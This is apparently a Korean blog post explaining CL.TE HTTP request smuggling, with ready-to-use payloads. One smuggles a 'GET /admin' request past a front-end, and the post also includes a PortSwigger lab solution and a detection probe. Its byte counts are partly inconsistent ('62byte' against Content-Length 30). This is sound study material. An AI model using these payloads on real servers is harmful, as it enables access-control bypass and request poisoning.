Concept

HRS-CL.TE

wermut 2025. 10. 10. 17:12

발생 원인

  • Front-end: Content-Length 우선 해석
  • Back-end : Transfer-Encoding 우선 해석

Payload

POST /home HTTP/1.1 
Host: vulnerable-website.com 
Content-Type: application/x-www-form-urlencoded  
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x

Front-end 해석

POST /home HTTP/1.1 
Host: vulnerable-website.com 
Content-Type: applic ation/x-www-form-urlencoded 
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x

Front-end의 경우 Content-Length를 기준으로 해석하기 때문에 Payload의 body 중 62byte까지 하나의 요청으로 받아들임

Back-end 해석

POST /home HTTP/1.1 
Host: vulnerable-website.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 30
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Foo: x

Back-end의 경우 Transfer-Encoding을 기준으로 해석하기 때문에 Payload의 body를 청크의 끝을 의미하는 0까지 하나의 요청으로 해석하고, 이후 요청은 새로운 요청으로 분기


실습

PortSwigger Lab

PortSwigger에서 제공하는 Lab의 HTTP request smuggling, confirming a CL.TE vulnerability via differential responses 문제를 통해 해당 취약점을 실습 가능했다.

실습의 목적은 HRS 취약점을 사용해 루트 경로에서 404 에러를 발생시키는 것

패킷의 HTTP version을 1.1로 다운그레이드,
아래의 페이로드를 패킷에 추가 함으로써 수행 가능했다.

Payload

Content-Length: 30
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Detection

Content-Length: 6
Transfer-Encoding: chunked

0
detect
x

'Concept' 카테고리의 다른 글

HRS-TE.TE  (3) 2025.10.10
HRS-TE.CL  (2) 2025.10.10
HRS-CL.CL  (2) 2025.10.10
HRS  (1) 2025.10.10
OAuth 2.0 Security Considerations  (0) 2025.10.10